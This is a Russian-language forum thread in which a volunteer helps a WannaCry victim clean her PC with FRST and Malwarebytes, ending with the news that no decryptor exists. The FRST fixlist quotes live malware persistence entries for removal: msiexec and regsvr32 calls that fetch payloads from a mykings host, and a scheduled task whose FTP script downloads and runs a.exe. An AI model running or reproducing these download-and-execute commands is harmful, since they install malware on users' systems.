wncry Wanna Decryptor

[valergeniym]

Зашифрованы файлы на компьютере. Пострадала от Wanna Decryptor

CollectionLog-2017.05.14-10.04.zip

Изменено 14 мая, 2017 пользователем valergeniym

[thyrex]

Скачайте Farbar Recovery Scan Tool и сохраните на Рабочем столе.

• Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.

1. Запустите программу двойным щелчком. Когда программа запустится, нажмите Yes для соглашения с предупреждением.

2. Убедитесь, что в окне Optional Scan отмечены List BCD, Driver MD5 и 90 Days Files.

3. Нажмите кнопку Scan.

4. После окончания сканирования будет создан отчет (FRST.txt) в той же папке, откуда была запущена программа.

5. Если программа была запущена в первый раз, также будет создан отчет (Addition.txt).

6. Отчеты, полученные в пп. 4 и 5, заархивируйте (в один архив) и прикрепите к сообщению.

[valergeniym]

Сделала

Desktop.zip

[thyrex]

1. Откройте Блокнот и скопируйте в него приведенный ниже текст

CreateRestorePoint:
2017-05-13 10:43 - 2017-05-12 11:56 - 00000707 _____ C:\Users\User\AppData\Local\@WanaDecryptor@.exe.lnk
2017-05-12 19:40 - 2017-05-12 02:22 - 00245760 _____ (Microsoft Corporation) C:\Users\Public\Desktop\@WanaDecryptor@.exe
2017-05-12 19:40 - 2017-05-12 02:22 - 00245760 _____ (Microsoft Corporation) C:\Users\Default\Desktop\@WanaDecryptor@.exe
2017-05-12 19:40 - 2017-05-12 02:22 - 00245760 _____ (Microsoft Corporation) C:\Users\Default User\Desktop\@WanaDecryptor@.exe
2017-05-12 19:40 - 2017-05-11 20:13 - 01440054 _____ C:\Users\User\Desktop\@WanaDecryptor@.bmp
2017-05-12 19:40 - 2017-05-11 20:13 - 01440054 _____ C:\Users\Public\Desktop\@WanaDecryptor@.bmp
2017-05-12 19:40 - 2017-05-11 20:13 - 01440054 _____ C:\Users\Default\Desktop\@WanaDecryptor@.bmp
2017-05-12 19:40 - 2017-05-11 20:13 - 01440054 _____ C:\Users\Default User\Desktop\@WanaDecryptor@.bmp
2017-05-12 19:33 - 2017-05-12 11:56 - 00000933 _____ C:\Users\User\Downloads\@Please_Read_Me@.txt
2017-05-12 19:33 - 2017-05-12 02:22 - 00245760 _____ (Microsoft Corporation) C:\Users\User\Downloads\@WanaDecryptor@.exe
2017-05-12 19:31 - 2017-05-12 11:56 - 00000933 _____ C:\Users\User\AppData\Local\@Please_Read_Me@.txt
2017-05-12 18:49 - 2017-05-12 11:56 - 00000933 _____ C:\Users\User\Documents\@Please_Read_Me@.txt
2017-05-12 11:56 - 2017-05-14 09:46 - 00000000 ___HD C:\Users\Все пользователи\yyibsxxiapw107
2017-05-12 11:56 - 2017-05-14 09:46 - 00000000 ___HD C:\ProgramData\yyibsxxiapw107
2017-05-12 11:56 - 2017-05-14 09:40 - 03514368 ____S (Microsoft Corporation) C:\Windows\tasksche.exe
2017-05-12 11:56 - 2017-05-13 12:45 - 03514368 ____S (Microsoft Corporation) C:\Windows\qeriuwjhrf
2017-05-12 11:56 - 2017-05-12 11:56 - 00000933 _____ C:\Users\User\Desktop\@Please_Read_Me@.txt
2017-05-12 11:56 - 2017-05-12 02:22 - 00245760 _____ (Microsoft Corporation) C:\Users\User\Desktop\@WanaDecryptor@.exe
Toolbar: HKU\S-1-5-21-3228271838-775298056-3908749460-1000 -> No Name - {093F479D-712E-46CD-9E06-62E734A05F68} -  No File
HKLM\...\Run: [start1] => msiexec.exe /i hxxp://js.mykings.top:280/helloworld.msi /q
HKLM\...\Run: [start] => regsvr32 /u /s /i:hxxp://js.mykings.top:280/v.sct scrobj.dll
CHR HKLM-x32\...\Chrome\Extension: [ablpcikjmhamjanpibkccdmpoekjigja] - hxxp://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [bhjhnafpiilpffhglajcaepjbnbjemci] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [ccfifbojenkenpkmnbnndeadpfdiffof] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [efaidnbmnnnibpcajpcglclefindmkaj] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [epgjfmblhacacphaljkdcjllkomdcjpc] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [hcadgijmedbfgciegjomfpjcdchlhnif] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [hpcghcdjnehpkdecaflpedhklimnejia] - hxxp://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [jkfblcbjfojmgagikhldeppgmgdpjkpl] - hxxp://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [oelpkepjlgmehajehfeicfbjdiobdkfj] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [ojlcebdkbpjdpiligkdbbkdkfjmchbfd] - hxxps://clients2.google.com/service/update2/crx
Task: {909E1F80-7220-4DD5-A510-D5F10DB513A6} - System32\Tasks\youfreenewscombcomsm => Chrome.exe youfreenews.com/bcomsm <==== ATTENTION
Task: {2C777820-E3F9-4EA7-9BA9-42A7D616AAA9} - System32\Tasks\hitnews1netzcomsm => "" 
Task: {B187A0F0-8CC6-4528-AE17-2303CFD7477E} - System32\Tasks\Mysa => cmd /c echo open down.mysking.info>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe>>s&echo bye>>s&ftp -s:s&a.exe
Reboot:

2. Нажмите Файл – Сохранить как

3. Выберите папку, откуда была запущена утилита Farbar Recovery Scan Tool

4. Укажите Тип файла – Все файлы (*.*)

5. Введите имя файла fixlist.txt и нажмите кнопку Сохранить

6. Запустите FRST, нажмите один раз на кнопку Fix и подождите. Программа создаст лог-файл (Fixlog.txt). Пожалуйста, прикрепите его в следующем сообщении.

• Обратите внимание, что будет выполнена перезагрузка компьютера.

[valergeniym]

Готово

Fixlog.txt

[thyrex]

Сделайте лог полного сканирования МВАМ

[valergeniym]

Готово

malwarebytes.txt

[thyrex]

Удалите в МВАМ все найденное

[valergeniym]

спасибо! Удалила, перезагрузился компьютер. Файлы как-то можно расшифровать,да?Попытаться хотя бы. и удалять ли программу? 

[thyrex]

Удалите МВАМ.

 

Мусор почистили. Дешифровки на данный момент нет